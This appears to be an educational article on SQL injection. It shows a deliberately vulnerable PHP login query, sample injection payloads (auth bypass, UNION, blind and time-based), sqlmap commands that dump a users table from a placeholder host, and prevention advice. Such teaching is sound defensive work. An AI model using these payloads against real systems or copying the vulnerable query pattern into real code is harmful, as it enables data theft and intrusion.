SQL Injection Attacks Explained: From Basics to Advanced
SQL Injection Attacks Explained
SQL Injection (SQLi) is one of the most dangerous web vulnerabilities. It allows attackers to interfere with database queries, potentially accessing or modifying sensitive data.
How SQL Injection Works
When user input is directly included in SQL queries without proper sanitization:
// Vulnerable code
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
An attacker can input:
- Username:
admin'--
- Password:
anything
Resulting query:
SELECT * FROM users WHERE username='admin'--' AND password='anything'
The -- comments out the password check!
Types of SQL Injection
1. In-Band SQLi (Classic)
Error-based: Exploits error messages
' AND 1=CONVERT(int, (SELECT TOP 1 username FROM users))--
Union-based: Combines results from multiple queries
' UNION SELECT username, password FROM users--
2. Blind SQLi
Boolean-based: Infers data from true/false responses
' AND SUBSTRING(username,1,1)='a'--
Time-based: Uses delays to extract data
' AND IF(1=1, SLEEP(5), 0)--
3. Out-of-Band SQLi
Uses external channels (DNS, HTTP) to extract data.
Exploitation with SQLMap
# Test for SQLi
sqlmap -u "http://target.com/search?q=test" --batch
# Enumerate databases
sqlmap -u "http://target.com/search?q=test" --dbs
# Dump a table
sqlmap -u "http://target.com/search?q=test" -D webapp -T users --dump
Prevention
- Parameterized Queries
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
- Input Validation
- Least Privilege Database Accounts
- Web Application Firewalls (WAF)
- Regular Security Testing
Practice Safely
Use CyberLab's vulnerable training targets to practice SQL injection legally!
Conclusion
SQL injection remains prevalent because developers still make the same mistakes. Understanding how it works helps you both exploit and prevent it.